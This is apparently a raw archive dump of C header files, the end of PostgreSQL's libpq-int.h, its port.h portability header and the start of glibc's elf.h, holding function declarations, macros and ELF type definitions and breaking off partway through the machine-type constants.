*value); extern void pqSaveParameterStatus(PGconn *conn, const char *name, const char *value); extern int pqRowProcessor(PGconn *conn, const char **errmsgp); /* === in fe-protocol2.c === */ extern PostgresPollingStatusType pqSetenvPoll(PGconn *conn); extern char *pqBuildStartupPacket2(PGconn *conn, int *packetlen, const PQEnvironmentOption *options); extern void pqParseInput2(PGconn *conn); extern int pqGetCopyData2(PGconn *conn, char **buffer, int async); extern int pqGetline2(PGconn *conn, char *s, int maxlen); extern int pqGetlineAsync2(PGconn *conn, char *buffer, int bufsize); extern int pqEndcopy2(PGconn *conn); extern PGresult *pqFunctionCall2(PGconn *conn, Oid fnid, int *result_buf, int *actual_result_len, int result_is_int, const PQArgBlock *args, int nargs); /* === in fe-protocol3.c === */ extern char *pqBuildStartupPacket3(PGconn *conn, int *packetlen, const PQEnvironmentOption *options); extern void pqParseInput3(PGconn *conn); extern int pqGetErrorNotice3(PGconn *conn, bool isError); extern void pqBuildErrorMessage3(PQExpBuffer msg, const PGresult *res, PGVerbosity verbosity, PGContextVisibility show_context); extern int pqGetCopyData3(PGconn *conn, char **buffer, int async); extern int pqGetline3(PGconn *conn, char *s, int maxlen); extern int pqGetlineAsync3(PGconn *conn, char *buffer, int bufsize); extern int pqEndcopy3(PGconn *conn); extern PGresult *pqFunctionCall3(PGconn *conn, Oid fnid, int *result_buf, int *actual_result_len, int result_is_int, const PQArgBlock *args, int nargs); /* === in fe-misc.c === */ /* * "Get" and "Put" routines return 0 if successful, EOF if not. Note that for * Get, EOF merely means the buffer is exhausted, not that there is * necessarily any error. */ extern int pqCheckOutBufferSpace(size_t bytes_needed, PGconn *conn); extern int pqCheckInBufferSpace(size_t bytes_needed, PGconn *conn); extern int pqGetc(char *result, PGconn *conn); extern int pqPutc(char c, PGconn *conn); extern int pqGets(PQExpBuffer buf, PGconn *conn); extern int pqGets_append(PQExpBuffer buf, PGconn *conn); extern int pqPuts(const char *s, PGconn *conn); extern int pqGetnchar(char *s, size_t len, PGconn *conn); extern int pqSkipnchar(size_t len, PGconn *conn); extern int pqPutnchar(const char *s, size_t len, PGconn *conn); extern int pqGetInt(int *result, size_t bytes, PGconn *conn); extern int pqPutInt(int value, size_t bytes, PGconn *conn); extern int pqPutMsgStart(char msg_type, bool force_len, PGconn *conn); extern int pqPutMsgEnd(PGconn *conn); extern int pqReadData(PGconn *conn); extern int pqFlush(PGconn *conn); extern int pqWait(int forRead, int forWrite, PGconn *conn); extern int pqWaitTimed(int forRead, int forWrite, PGconn *conn, time_t finish_time); extern int pqReadReady(PGconn *conn); extern int pqWriteReady(PGconn *conn); /* === in fe-secure.c === */ extern int pqsecure_initialize(PGconn *); extern PostgresPollingStatusType pqsecure_open_client(PGconn *); extern void pqsecure_close(PGconn *); extern ssize_t pqsecure_read(PGconn *, void *ptr, size_t len); extern ssize_t pqsecure_write(PGconn *, const void *ptr, size_t len); extern ssize_t pqsecure_raw_read(PGconn *, void *ptr, size_t len); extern ssize_t pqsecure_raw_write(PGconn *, const void *ptr, size_t len); #if defined(ENABLE_THREAD_SAFETY) && !defined(WIN32) extern int pq_block_sigpipe(sigset_t *osigset, bool *sigpipe_pending); extern void pq_reset_sigpipe(sigset_t *osigset, bool sigpipe_pending, bool got_epipe); #endif /* === SSL === */ /* * The SSL implementation provides these functions. */ /* * Implementation of PQinitSSL(). */ extern void pgtls_init_library(bool do_ssl, int do_crypto); /* * Initialize SSL library. * * The conn parameter is only used to be able to pass back an error * message - no connection-local setup is made here. * * Returns 0 if OK, -1 on failure (with a message in conn->errorMessage). */ extern int pgtls_init(PGconn *conn); /* * Begin or continue negotiating a secure session. */ extern PostgresPollingStatusType pgtls_open_client(PGconn *conn); /* * Close SSL connection. */ extern void pgtls_close(PGconn *conn); /* * Read data from a secure connection. * * On failure, this function is responsible for putting a suitable message * into conn->errorMessage. The caller must still inspect errno, but only * to determine whether to continue/retry after error. */ extern ssize_t pgtls_read(PGconn *conn, void *ptr, size_t len); /* * Is there unread data waiting in the SSL read buffer? */ extern bool pgtls_read_pending(PGconn *conn); /* * Write data to a secure connection. * * On failure, this function is responsible for putting a suitable message * into conn->errorMessage. The caller must still inspect errno, but only * to determine whether to continue/retry after error. */ extern ssize_t pgtls_write(PGconn *conn, const void *ptr, size_t len); /* * Get the hash of the server certificate, for SCRAM channel binding type * tls-server-end-point. * * NULL is sent back to the caller in the event of an error, with an * error message for the caller to consume. * * This is not supported with old versions of OpenSSL that don't have * the X509_get_signature_nid() function. */ #if defined(USE_OPENSSL) && (defined(HAVE_X509_GET_SIGNATURE_NID) || defined(HAVE_X509_GET_SIGNATURE_INFO)) #define HAVE_PGTLS_GET_PEER_CERTIFICATE_HASH extern char *pgtls_get_peer_certificate_hash(PGconn *conn, size_t *len); #endif /* * Verify that the server certificate matches the host name we connected to. * * The certificate's Common Name and Subject Alternative Names are considered. * * Returns 1 if the name matches, and 0 if it does not. On error, returns * -1, and sets the libpq error message. * */ extern int pgtls_verify_peer_name_matches_certificate_guts(PGconn *conn, int *names_examined, char **first_name); /* === GSSAPI === */ #ifdef ENABLE_GSS /* * Establish a GSSAPI-encrypted connection. */ extern PostgresPollingStatusType pqsecure_open_gss(PGconn *conn); /* * Read and write functions for GSSAPI-encrypted connections, with internal * buffering to handle nonblocking sockets. */ extern ssize_t pg_GSS_write(PGconn *conn, const void *ptr, size_t len); extern ssize_t pg_GSS_read(PGconn *conn, void *ptr, size_t len); #endif /* === miscellaneous macros === */ /* * this is so that we can check if a connection is non-blocking internally * without the overhead of a function call */ #define pqIsnonblocking(conn) ((conn)->nonblocking) #ifdef ENABLE_NLS extern char *libpq_gettext(const char *msgid) pg_attribute_format_arg(1); extern char *libpq_ngettext(const char *msgid, const char *msgid_plural, unsigned long n) pg_attribute_format_arg(1) pg_attribute_format_arg(2); #else #define libpq_gettext(x) (x) #define libpq_ngettext(s, p, n) ((n) == 1 ? (s) : (p)) #endif /* * These macros are needed to let error-handling code be portable between * Unix and Windows. (ugh) */ #ifdef WIN32 #define SOCK_ERRNO (WSAGetLastError()) #define SOCK_STRERROR winsock_strerror #define SOCK_ERRNO_SET(e) WSASetLastError(e) #else #define SOCK_ERRNO errno #define SOCK_STRERROR strerror_r #define SOCK_ERRNO_SET(e) (errno = (e)) #endif #endif /* LIBPQ_INT_H */ pgsql/internal/port.h 0000644 00000042340 15246445047 0010661 0 ustar 00 /*------------------------------------------------------------------------- * * port.h * Header for src/port/ compatibility functions. * * Portions Copyright (c) 1996-2020, PostgreSQL Global Development Group * Portions Copyright (c) 1994, Regents of the University of California * * src/include/port.h * *------------------------------------------------------------------------- */ #ifndef PG_PORT_H #define PG_PORT_H #include <ctype.h> #include <netdb.h> #include <pwd.h> /* * Windows has enough specialized port stuff that we push most of it off * into another file. * Note: Some CYGWIN includes might #define WIN32. */ #if defined(WIN32) && !defined(__CYGWIN__) #include "port/win32_port.h" #endif /* socket has a different definition on WIN32 */ #ifndef WIN32 typedef int pgsocket; #define PGINVALID_SOCKET (-1) #else typedef SOCKET pgsocket; #define PGINVALID_SOCKET INVALID_SOCKET #endif /* non-blocking */ extern bool pg_set_noblock(pgsocket sock); extern bool pg_set_block(pgsocket sock); /* Portable path handling for Unix/Win32 (in path.c) */ extern bool has_drive_prefix(const char *filename); extern char *first_dir_separator(const char *filename); extern char *last_dir_separator(const char *filename); extern char *first_path_var_separator(const char *pathlist); extern void join_path_components(char *ret_path, const char *head, const char *tail); extern void canonicalize_path(char *path); extern void canonicalize_path_enc(char *path, int encoding); extern void make_native_path(char *path); extern void cleanup_path(char *path); extern bool path_contains_parent_reference(const char *path); extern bool path_is_relative_and_below_cwd(const char *path); extern bool path_is_prefix_of_path(const char *path1, const char *path2); extern char *make_absolute_path(const char *path); extern const char *get_progname(const char *argv0); extern void get_share_path(const char *my_exec_path, char *ret_path); extern void get_etc_path(const char *my_exec_path, char *ret_path); extern void get_include_path(const char *my_exec_path, char *ret_path); extern void get_pkginclude_path(const char *my_exec_path, char *ret_path); extern void get_includeserver_path(const char *my_exec_path, char *ret_path); extern void get_lib_path(const char *my_exec_path, char *ret_path); extern void get_pkglib_path(const char *my_exec_path, char *ret_path); extern void get_locale_path(const char *my_exec_path, char *ret_path); extern void get_doc_path(const char *my_exec_path, char *ret_path); extern void get_html_path(const char *my_exec_path, char *ret_path); extern void get_man_path(const char *my_exec_path, char *ret_path); extern bool get_home_path(char *ret_path); extern void get_parent_directory(char *path); /* common/pgfnames.c */ extern char **pgfnames(const char *path); extern void pgfnames_cleanup(char **filenames); #define IS_NONWINDOWS_DIR_SEP(ch) ((ch) == '/') #define is_nonwindows_absolute_path(filename) \ ( \ IS_NONWINDOWS_DIR_SEP((filename)[0]) \ ) #define IS_WINDOWS_DIR_SEP(ch) ((ch) == '/' || (ch) == '\\') /* See path_is_relative_and_below_cwd() for how we handle 'E:abc'. */ #define is_windows_absolute_path(filename) \ ( \ IS_WINDOWS_DIR_SEP((filename)[0]) || \ (isalpha((unsigned char) ((filename)[0])) && (filename)[1] == ':' && \ IS_WINDOWS_DIR_SEP((filename)[2])) \ ) /* * is_absolute_path and IS_DIR_SEP * * By using macros here we avoid needing to include path.c in libpq. */ #ifndef WIN32 #define IS_DIR_SEP(ch) IS_NONWINDOWS_DIR_SEP(ch) #define is_absolute_path(filename) is_nonwindows_absolute_path(filename) #else #define IS_DIR_SEP(ch) IS_WINDOWS_DIR_SEP(ch) #define is_absolute_path(filename) is_windows_absolute_path(filename) #endif /* Portable locale initialization (in exec.c) */ extern void set_pglocale_pgservice(const char *argv0, const char *app); /* Portable way to find and execute binaries (in exec.c) */ extern int find_my_exec(const char *argv0, char *retpath); extern int find_other_exec(const char *argv0, const char *target, const char *versionstr, char *retpath); extern char *pipe_read_line(char *cmd, char *line, int maxsize); /* Doesn't belong here, but this is used with find_other_exec(), so... */ #define PG_BACKEND_VERSIONSTR "postgres (PostgreSQL) " PG_VERSION "\n" #ifdef EXEC_BACKEND /* Disable ASLR before exec, for developer builds only (in exec.c) */ extern int pg_disable_aslr(void); #endif #if defined(WIN32) || defined(__CYGWIN__) #define EXE ".exe" #else #define EXE "" #endif #if defined(WIN32) && !defined(__CYGWIN__) #define DEVNULL "nul" #else #define DEVNULL "/dev/null" #endif /* Portable delay handling */ extern void pg_usleep(long microsec); /* Portable SQL-like case-independent comparisons and conversions */ extern int pg_strcasecmp(const char *s1, const char *s2); extern int pg_strncasecmp(const char *s1, const char *s2, size_t n); extern unsigned char pg_toupper(unsigned char ch); extern unsigned char pg_tolower(unsigned char ch); extern unsigned char pg_ascii_toupper(unsigned char ch); extern unsigned char pg_ascii_tolower(unsigned char ch); /* * Beginning in v12, we always replace snprintf() and friends with our own * implementation. This symbol is no longer consulted by the core code, * but keep it defined anyway in case any extensions are looking at it. */ #define USE_REPL_SNPRINTF 1 /* * Versions of libintl >= 0.13 try to replace printf() and friends with * macros to their own versions that understand the %$ format. We do the * same, so disable their macros, if they exist. */ #ifdef vsnprintf #undef vsnprintf #endif #ifdef snprintf #undef snprintf #endif #ifdef vsprintf #undef vsprintf #endif #ifdef sprintf #undef sprintf #endif #ifdef vfprintf #undef vfprintf #endif #ifdef fprintf #undef fprintf #endif #ifdef vprintf #undef vprintf #endif #ifdef printf #undef printf #endif extern int pg_vsnprintf(char *str, size_t count, const char *fmt, va_list args); extern int pg_snprintf(char *str, size_t count, const char *fmt,...) pg_attribute_printf(3, 4); extern int pg_vsprintf(char *str, const char *fmt, va_list args); extern int pg_sprintf(char *str, const char *fmt,...) pg_attribute_printf(2, 3); extern int pg_vfprintf(FILE *stream, const char *fmt, va_list args); extern int pg_fprintf(FILE *stream, const char *fmt,...) pg_attribute_printf(2, 3); extern int pg_vprintf(const char *fmt, va_list args); extern int pg_printf(const char *fmt,...) pg_attribute_printf(1, 2); /* * We use __VA_ARGS__ for printf to prevent replacing references to * the "printf" format archetype in format() attribute declarations. * That unfortunately means that taking a function pointer to printf * will not do what we'd wish. (If you need to do that, you must name * pg_printf explicitly.) For printf's sibling functions, use * parameterless macros so that function pointers will work unsurprisingly. */ #define vsnprintf pg_vsnprintf #define snprintf pg_snprintf #define vsprintf pg_vsprintf #define sprintf pg_sprintf #define vfprintf pg_vfprintf #define fprintf pg_fprintf #define vprintf pg_vprintf #define printf(...) pg_printf(__VA_ARGS__) /* This is also provided by snprintf.c */ extern int pg_strfromd(char *str, size_t count, int precision, double value); /* Replace strerror() with our own, somewhat more robust wrapper */ extern char *pg_strerror(int errnum); #define strerror pg_strerror /* Likewise for strerror_r(); note we prefer the GNU API for that */ extern char *pg_strerror_r(int errnum, char *buf, size_t buflen); #define strerror_r pg_strerror_r #define PG_STRERROR_R_BUFLEN 256 /* Recommended buffer size for strerror_r */ /* Wrap strsignal(), or provide our own version if necessary */ extern const char *pg_strsignal(int signum); /* Portable prompt handling */ extern void simple_prompt(const char *prompt, char *destination, size_t destlen, bool echo); extern int pclose_check(FILE *stream); /* Global variable holding time zone information. */ #if defined(WIN32) || defined(__CYGWIN__) #define TIMEZONE_GLOBAL _timezone #define TZNAME_GLOBAL _tzname #else #define TIMEZONE_GLOBAL timezone #define TZNAME_GLOBAL tzname #endif #if defined(WIN32) || defined(__CYGWIN__) /* * Win32 doesn't have reliable rename/unlink during concurrent access. */ extern int pgrename(const char *from, const char *to); extern int pgunlink(const char *path); /* Include this first so later includes don't see these defines */ #ifdef _MSC_VER #include <io.h> #endif #define rename(from, to) pgrename(from, to) #define unlink(path) pgunlink(path) #endif /* defined(WIN32) || defined(__CYGWIN__) */ /* * Win32 also doesn't have symlinks, but we can emulate them with * junction points on newer Win32 versions. * * Cygwin has its own symlinks which work on Win95/98/ME where * junction points don't, so use those instead. We have no way of * knowing what type of system Cygwin binaries will be run on. * Note: Some CYGWIN includes might #define WIN32. */ #if defined(WIN32) && !defined(__CYGWIN__) extern int pgsymlink(const char *oldpath, const char *newpath); extern int pgreadlink(const char *path, char *buf, size_t size); extern bool pgwin32_is_junction(const char *path); #define symlink(oldpath, newpath) pgsymlink(oldpath, newpath) #define readlink(path, buf, size) pgreadlink(path, buf, size) #endif extern bool rmtree(const char *path, bool rmtopdir); #if defined(WIN32) && !defined(__CYGWIN__) /* * We want the 64-bit variant of lseek(). * * For Visual Studio, this must be after <io.h> to avoid messing up its * lseek() and _lseeki64() function declarations. * * For MinGW there is already a macro, so we have to undefine it (depending on * _FILE_OFFSET_BITS, it may point at its own lseek64, but we don't want to * count on that being set). */ #undef lseek #define lseek(a,b,c) _lseeki64((a),(b),(c)) /* * We want the 64-bit variant of chsize(). It sets errno and also returns it, * so convert non-zero result to -1 to match POSIX. * * Prevent MinGW from declaring functions, and undefine its macro before we * define our own. */ #ifndef _MSC_VER #define FTRUNCATE_DEFINED #include <unistd.h> #undef ftruncate #endif #define ftruncate(a,b) (_chsize_s((a),(b)) == 0 ? 0 : -1) /* * open() and fopen() replacements to allow deletion of open files and * passing of other special options. */ #define O_DIRECT 0x80000000 extern HANDLE pgwin32_open_handle(const char *, int, bool); extern int pgwin32_open(const char *, int,...); extern FILE *pgwin32_fopen(const char *, const char *); #define open(a,b,c) pgwin32_open(a,b,c) #define fopen(a,b) pgwin32_fopen(a,b) /* * Mingw-w64 headers #define popen and pclose to _popen and _pclose. We want * to use our popen wrapper, rather than plain _popen, so override that. For * consistency, use our version of pclose, too. */ #ifdef popen #undef popen #endif #ifdef pclose #undef pclose #endif /* * system() and popen() replacements to enclose the command in an extra * pair of quotes. */ extern int pgwin32_system(const char *command); extern FILE *pgwin32_popen(const char *command, const char *type); #define system(a) pgwin32_system(a) #define popen(a,b) pgwin32_popen(a,b) #define pclose(a) _pclose(a) /* New versions of MingW have gettimeofday, old mingw and msvc don't */ #ifndef HAVE_GETTIMEOFDAY /* Last parameter not used */ extern int gettimeofday(struct timeval *tp, struct timezone *tzp); #endif #else /* !WIN32 */ /* * Win32 requires a special close for sockets and pipes, while on Unix * close() does them all. */ #define closesocket close #endif /* WIN32 */ /* * On Windows, setvbuf() does not support _IOLBF mode, and interprets that * as _IOFBF. To add insult to injury, setvbuf(file, NULL, _IOFBF, 0) * crashes outright if "parameter validation" is enabled. Therefore, in * places where we'd like to select line-buffered mode, we fall back to * unbuffered mode instead on Windows. Always use PG_IOLBF not _IOLBF * directly in order to implement this behavior. */ #ifndef WIN32 #define PG_IOLBF _IOLBF #else #define PG_IOLBF _IONBF #endif /* * Default "extern" declarations or macro substitutes for library routines. * When necessary, these routines are provided by files in src/port/. */ /* Type to use with fseeko/ftello */ #ifndef WIN32 /* WIN32 is handled in port/win32_port.h */ #define pgoff_t off_t #endif extern double pg_erand48(unsigned short xseed[3]); extern long pg_lrand48(void); extern long pg_jrand48(unsigned short xseed[3]); extern void pg_srand48(long seed); #ifndef HAVE_FLS extern int fls(int mask); #endif #ifndef HAVE_GETPEEREID /* On Windows, Perl might have incompatible definitions of uid_t and gid_t. */ #ifndef PLPERL_HAVE_UID_GID extern int getpeereid(int sock, uid_t *uid, gid_t *gid); #endif #endif /* * Glibc doesn't use the builtin for clang due to a *gcc* bug in a version * newer than the gcc compatibility clang claims to have. This would cause a * *lot* of superfluous function calls, therefore revert when using clang. In * C++ there's issues with libc++ (not libstdc++), so disable as well. */ #if defined(__clang__) && !defined(__cplusplus) /* needs to be separate to not confuse other compilers */ #if __has_builtin(__builtin_isinf) /* need to include before, to avoid getting overwritten */ #include <math.h> #undef isinf #define isinf __builtin_isinf #endif /* __has_builtin(isinf) */ #endif /* __clang__ && !__cplusplus */ #ifndef HAVE_EXPLICIT_BZERO extern void explicit_bzero(void *buf, size_t len); #endif #ifndef HAVE_STRTOF extern float strtof(const char *nptr, char **endptr); #endif #ifdef HAVE_BUGGY_STRTOF extern float pg_strtof(const char *nptr, char **endptr); #define strtof(a,b) (pg_strtof((a),(b))) #endif #ifndef HAVE_LINK extern int link(const char *src, const char *dst); #endif #ifndef HAVE_MKDTEMP extern char *mkdtemp(char *path); #endif #ifndef HAVE_INET_ATON #include <netinet/in.h> #include <arpa/inet.h> extern int inet_aton(const char *cp, struct in_addr *addr); #endif /* * Windows and older Unix don't have pread(2) and pwrite(2). We have * replacement functions, but they have slightly different semantics so we'll * use a name with a pg_ prefix to avoid confusion. */ #ifdef HAVE_PREAD #define pg_pread pread #else extern ssize_t pg_pread(int fd, void *buf, size_t nbyte, off_t offset); #endif #ifdef HAVE_PWRITE #define pg_pwrite pwrite #else extern ssize_t pg_pwrite(int fd, const void *buf, size_t nbyte, off_t offset); #endif #if !HAVE_DECL_STRLCAT extern size_t strlcat(char *dst, const char *src, size_t siz); #endif #if !HAVE_DECL_STRLCPY extern size_t strlcpy(char *dst, const char *src, size_t siz); #endif #if !HAVE_DECL_STRNLEN extern size_t strnlen(const char *str, size_t maxlen); #endif #if !defined(HAVE_RANDOM) extern long random(void); #endif #ifndef HAVE_SETENV extern int setenv(const char *name, const char *value, int overwrite); #endif #ifndef HAVE_UNSETENV extern void unsetenv(const char *name); #endif #ifndef HAVE_SRANDOM extern void srandom(unsigned int seed); #endif #ifndef HAVE_DLOPEN extern void *dlopen(const char *file, int mode); extern void *dlsym(void *handle, const char *symbol); extern int dlclose(void *handle); extern char *dlerror(void); #endif /* * In some older systems, the RTLD_NOW flag isn't defined and the mode * argument to dlopen must always be 1. */ #if !HAVE_DECL_RTLD_NOW #define RTLD_NOW 1 #endif /* * The RTLD_GLOBAL flag is wanted if available, but it doesn't exist * everywhere. If it doesn't exist, set it to 0 so it has no effect. */ #if !HAVE_DECL_RTLD_GLOBAL #define RTLD_GLOBAL 0 #endif /* thread.h */ #ifndef WIN32 extern int pqGetpwuid(uid_t uid, struct passwd *resultbuf, char *buffer, size_t buflen, struct passwd **result); #endif extern int pqGethostbyname(const char *name, struct hostent *resultbuf, char *buffer, size_t buflen, struct hostent **result, int *herrno); extern void pg_qsort(void *base, size_t nel, size_t elsize, int (*cmp) (const void *, const void *)); extern int pg_qsort_strcmp(const void *a, const void *b); #define qsort(a,b,c,d) pg_qsort(a,b,c,d) typedef int (*qsort_arg_comparator) (const void *a, const void *b, void *arg); extern void qsort_arg(void *base, size_t nel, size_t elsize, qsort_arg_comparator cmp, void *arg); /* port/chklocale.c */ extern int pg_get_encoding_from_locale(const char *ctype, bool write_message); #if defined(WIN32) && !defined(FRONTEND) extern int pg_codepage_to_encoding(UINT cp); #endif /* port/inet_net_ntop.c */ extern char *pg_inet_net_ntop(int af, const void *src, int bits, char *dst, size_t size); /* port/pg_strong_random.c */ extern bool pg_strong_random(void *buf, size_t len); /* * pg_backend_random used to be a wrapper for pg_strong_random before * Postgres 12 for the backend code. */ #define pg_backend_random pg_strong_random /* port/pgcheckdir.c */ extern int pg_check_dir(const char *dir); /* port/pgmkdirp.c */ extern int pg_mkdir_p(char *path, int omode); /* port/pqsignal.c (see also interfaces/libpq/legacy-pqsignal.c) */ #ifdef FRONTEND #define pqsignal pqsignal_fe #endif typedef void (*pqsigfunc) (int signo); extern pqsigfunc pqsignal(int signo, pqsigfunc func); /* port/quotes.c */ extern char *escape_single_quotes_ascii(const char *src); /* common/wait_error.c */ extern char *wait_result_to_str(int exit_status); extern bool wait_result_is_signal(int exit_status, int signum); extern bool wait_result_is_any_signal(int exit_status, bool include_command_not_found); #endif /* PG_PORT_H */ elf.h 0000644 00000525354 15246445047 0005514 0 ustar 00 /* This file defines standard ELF types, structures, and macros. Copyright (C) 1995-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _ELF_H #define _ELF_H 1 #include <features.h> __BEGIN_DECLS /* Standard ELF types. */ #include <stdint.h> /* Type for a 16-bit quantity. */ typedef uint16_t Elf32_Half; typedef uint16_t Elf64_Half; /* Types for signed and unsigned 32-bit quantities. */ typedef uint32_t Elf32_Word; typedef int32_t Elf32_Sword; typedef uint32_t Elf64_Word; typedef int32_t Elf64_Sword; /* Types for signed and unsigned 64-bit quantities. */ typedef uint64_t Elf32_Xword; typedef int64_t Elf32_Sxword; typedef uint64_t Elf64_Xword; typedef int64_t Elf64_Sxword; /* Type of addresses. */ typedef uint32_t Elf32_Addr; typedef uint64_t Elf64_Addr; /* Type of file offsets. */ typedef uint32_t Elf32_Off; typedef uint64_t Elf64_Off; /* Type for section indices, which are 16-bit quantities. */ typedef uint16_t Elf32_Section; typedef uint16_t Elf64_Section; /* Type for version symbol information. */ typedef Elf32_Half Elf32_Versym; typedef Elf64_Half Elf64_Versym; /* The ELF file header. This appears at the start of every ELF file. */ #define EI_NIDENT (16) typedef struct { unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */ Elf32_Half e_type; /* Object file type */ Elf32_Half e_machine; /* Architecture */ Elf32_Word e_version; /* Object file version */ Elf32_Addr e_entry; /* Entry point virtual address */ Elf32_Off e_phoff; /* Program header table file offset */ Elf32_Off e_shoff; /* Section header table file offset */ Elf32_Word e_flags; /* Processor-specific flags */ Elf32_Half e_ehsize; /* ELF header size in bytes */ Elf32_Half e_phentsize; /* Program header table entry size */ Elf32_Half e_phnum; /* Program header table entry count */ Elf32_Half e_shentsize; /* Section header table entry size */ Elf32_Half e_shnum; /* Section header table entry count */ Elf32_Half e_shstrndx; /* Section header string table index */ } Elf32_Ehdr; typedef struct { unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */ Elf64_Half e_type; /* Object file type */ Elf64_Half e_machine; /* Architecture */ Elf64_Word e_version; /* Object file version */ Elf64_Addr e_entry; /* Entry point virtual address */ Elf64_Off e_phoff; /* Program header table file offset */ Elf64_Off e_shoff; /* Section header table file offset */ Elf64_Word e_flags; /* Processor-specific flags */ Elf64_Half e_ehsize; /* ELF header size in bytes */ Elf64_Half e_phentsize; /* Program header table entry size */ Elf64_Half e_phnum; /* Program header table entry count */ Elf64_Half e_shentsize; /* Section header table entry size */ Elf64_Half e_shnum; /* Section header table entry count */ Elf64_Half e_shstrndx; /* Section header string table index */ } Elf64_Ehdr; /* Fields in the e_ident array. The EI_* macros are indices into the array. The macros under each EI_* macro are the values the byte may have. */ #define EI_MAG0 0 /* File identification byte 0 index */ #define ELFMAG0 0x7f /* Magic number byte 0 */ #define EI_MAG1 1 /* File identification byte 1 index */ #define ELFMAG1 'E' /* Magic number byte 1 */ #define EI_MAG2 2 /* File identification byte 2 index */ #define ELFMAG2 'L' /* Magic number byte 2 */ #define EI_MAG3 3 /* File identification byte 3 index */ #define ELFMAG3 'F' /* Magic number byte 3 */ /* Conglomeration of the identification bytes, for easy testing as a word. */ #define ELFMAG "\177ELF" #define SELFMAG 4 #define EI_CLASS 4 /* File class byte index */ #define ELFCLASSNONE 0 /* Invalid class */ #define ELFCLASS32 1 /* 32-bit objects */ #define ELFCLASS64 2 /* 64-bit objects */ #define ELFCLASSNUM 3 #define EI_DATA 5 /* Data encoding byte index */ #define ELFDATANONE 0 /* Invalid data encoding */ #define ELFDATA2LSB 1 /* 2's complement, little endian */ #define ELFDATA2MSB 2 /* 2's complement, big endian */ #define ELFDATANUM 3 #define EI_VERSION 6 /* File version byte index */ /* Value must be EV_CURRENT */ #define EI_OSABI 7 /* OS ABI identification */ #define ELFOSABI_NONE 0 /* UNIX System V ABI */ #define ELFOSABI_SYSV 0 /* Alias. */ #define ELFOSABI_HPUX 1 /* HP-UX */ #define ELFOSABI_NETBSD 2 /* NetBSD. */ #define ELFOSABI_GNU 3 /* Object uses GNU ELF extensions. */ #define ELFOSABI_LINUX ELFOSABI_GNU /* Compatibility alias. */ #define ELFOSABI_SOLARIS 6 /* Sun Solaris. */ #define ELFOSABI_AIX 7 /* IBM AIX. */ #define ELFOSABI_IRIX 8 /* SGI Irix. */ #define ELFOSABI_FREEBSD 9 /* FreeBSD. */ #define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX. */ #define ELFOSABI_MODESTO 11 /* Novell Modesto. */ #define ELFOSABI_OPENBSD 12 /* OpenBSD. */ #define ELFOSABI_ARM_AEABI 64 /* ARM EABI */ #define ELFOSABI_ARM 97 /* ARM */ #define ELFOSABI_STANDALONE 255 /* Standalone (embedded) application */ #define EI_ABIVERSION 8 /* ABI version */ #define EI_PAD 9 /* Byte index of padding bytes */ /* Legal values for e_type (object file type). */ #define ET_NONE 0 /* No file type */ #define ET_REL 1 /* Relocatable file */ #define ET_EXEC 2 /* Executable file */ #define ET_DYN 3 /* Shared object file */ #define ET_CORE 4 /* Core file */ #define ET_NUM 5 /* Number of defined types */ #define ET_LOOS 0xfe00 /* OS-specific range start */ #define ET_HIOS 0xfeff /* OS-specific range end */ #define ET_LOPROC 0xff00 /* Processor-specific range start */ #define ET_HIPROC 0xffff /* Processor-specific range end */ /* Legal values for e_machine (architecture). */ #define EM_NONE 0 /* No machine */ #define EM_M32 1 /* AT&T WE 32100 */ #define EM_SPARC 2 /* SUN SPARC */ #define EM_386 3 /* Intel 80386 */ #define EM_68K 4 /* Motorola m68k family */ #define EM_88K 5 /* Motorola m88k family */ #define EM_IAMCU 6 /* Intel MCU */ #define EM_860 7 /* Intel 80860 */ #define EM_MIPS 8 /* MIPS R3000 big-endian */ #define EM_S370 9 /* IBM System/370 */ #define EM_MIPS_RS3_LE 10 /* MIPS R3000 little-endian */ /* reserved 11-14 */ #define EM_PARISC 15 /* HPPA */ /* reserved 16 */ #define EM_VPP500 17 /* Fujitsu VPP500 */ #define EM_SPARC32PLUS 18 /* Sun's "v8plus" */ #define EM_960 19 /* Intel 80960 */ #define EM_PPC 20 /* PowerPC */ #define EM_PPC64 21 /* PowerPC 64-bit */ #define EM_S390 22 /* IBM S390 */ #define EM_SPU 23 /* IBM SPU/SPC */ /* reserved 24-35 */ #define EM_V800 36 /* NEC V800 series */ #define EM_FR20 37 /* Fujitsu FR20 */ #define EM_RH32 38 /* TRW RH-32 */ #define EM_RCE 39 /* Motorola RCE */ #define EM_ARM 40 /* ARM */ #define EM_FAKE_ALPHA 41 /* Digital Alpha */ #define EM_SH 42 /* Hitachi SH */ #define EM_SPARCV9 43 /* SPARC v9 64-bit */ #define EM_TRICORE 44 /* Siemens Tricore */ #define EM_ARC 45 /* Argonaut RISC Core */ #define EM_H8_300 46 /* Hitachi H8/300 */ #define EM_H8_300H 47 /* Hitachi H8/300H */ #define EM_H8S 48 /* Hitachi H8S */ #define EM_H8_500 49 /* Hitachi H8/500 */ #define EM_IA_64 50 /* Intel Merced */ #define EM_MIPS_X 51 /* Stanford MIPS-X */ #define EM_COLDFIRE 52 /* Motorola Coldfire */ #define EM_68HC12 53 /* Motorola M68HC12 */ #define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator */ #define EM_PCP 55 /* Siemens PCP */ #define EM_NCPU 56 /* Sony nCPU embeeded RISC */ #define EM_NDR1 57 /* Denso NDR1 microprocessor */ #define EM_STARCORE 58 /* Motorola Start*Core processor */ #define EM_ME16 59 /* Toyota ME16 processor */ #define EM_ST100 60 /* STMicroelectronic ST100 processor */ #define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam */ #define EM_X86_64 62 /* AMD x86-64 architecture */ #define EM_PDSP 63 /* Sony DSP Processor */ #define EM_PDP10 64 /* Digital PDP-10 */ #define EM_PDP11 65 /* Digital PDP-11 */ #define EM_FX66 66 /* Siemens FX66 microcontroller */ #define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */ #define EM_ST7 68 /* STmicroelectronics ST7 8 